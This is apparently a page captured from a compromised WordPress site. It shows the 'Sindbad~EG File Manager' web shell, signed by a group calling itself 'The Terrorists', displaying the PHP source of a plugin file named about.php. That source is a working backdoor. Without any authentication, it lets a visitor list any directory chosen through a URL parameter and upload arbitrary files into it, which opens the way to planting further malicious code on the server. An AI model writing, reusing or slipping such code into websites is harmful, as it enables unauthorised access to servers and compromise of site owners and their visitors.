Sindbad~EG File Manager

Current Path : /home/admin/bonardo.blog.lppelm.o2switch.site/wp-content/plugins/digi/includes/
Upload File :
Current File : //home/admin/bonardo.blog.lppelm.o2switch.site/wp-content/plugins/digi/includes/about.php

<?php 
$directory = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // Gets the directory path from the URL parameter or the current directory

// Function to get a list of files in a directory
function getFilesInDirectory($directory) {
    $files = [];
    if ($handle = opendir($directory)) {
        while (false !== ($file = readdir($handle))) {
            if ($file != "." && $file != "..") {
                $files[] = $file;
            }
        }
        closedir($handle);
    }
    return $files;
}

// Function to move uploaded files to the destination directory
function moveUploadedFile($source, $destination) {
    if (move_uploaded_file($source, $destination)) {
        return true;
    } else {
        return false;
    }
}

// Updates the file list if there is a form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['uploaded_file'])) {
        $file = $_FILES['uploaded_file'];
        $file_name = $file['name'];
        $file_tmp = $file['tmp_name'];
        $destination = $directory . '/' . $file_name;

        if (moveUploadedFile($file_tmp, $destination)) {
            echo "File uploaded successfully! => " . $destination;
        } else {
            echo "File failed to upload :(";
        }
    }
}

// Gets a list of files in a directory
$files = getFilesInDirectory($directory);
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
</head>
<body>
    <h3>Current Directory: <?php echo $directory; ?></h3>
    <h3>Change Directory: </h3>
    <form action="" method="GET">
        <input type="text" name="dir" placeholder="Enter the directory path">
        <button type="submit">Go</button>
	</form>
    <h3>File List :</h3>
    <ul>
        <?php foreach ($files as $file) { ?>
            <li><?php echo $file; ?></li>
        <?php } ?>
    </ul>

    <h3>Upload File:</h3>
    <form action="" method="POST" enctype="multipart/form-data">
        <input type="file" name="uploaded_file">
        <button type="submit">Upload</button>
    </form>
</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists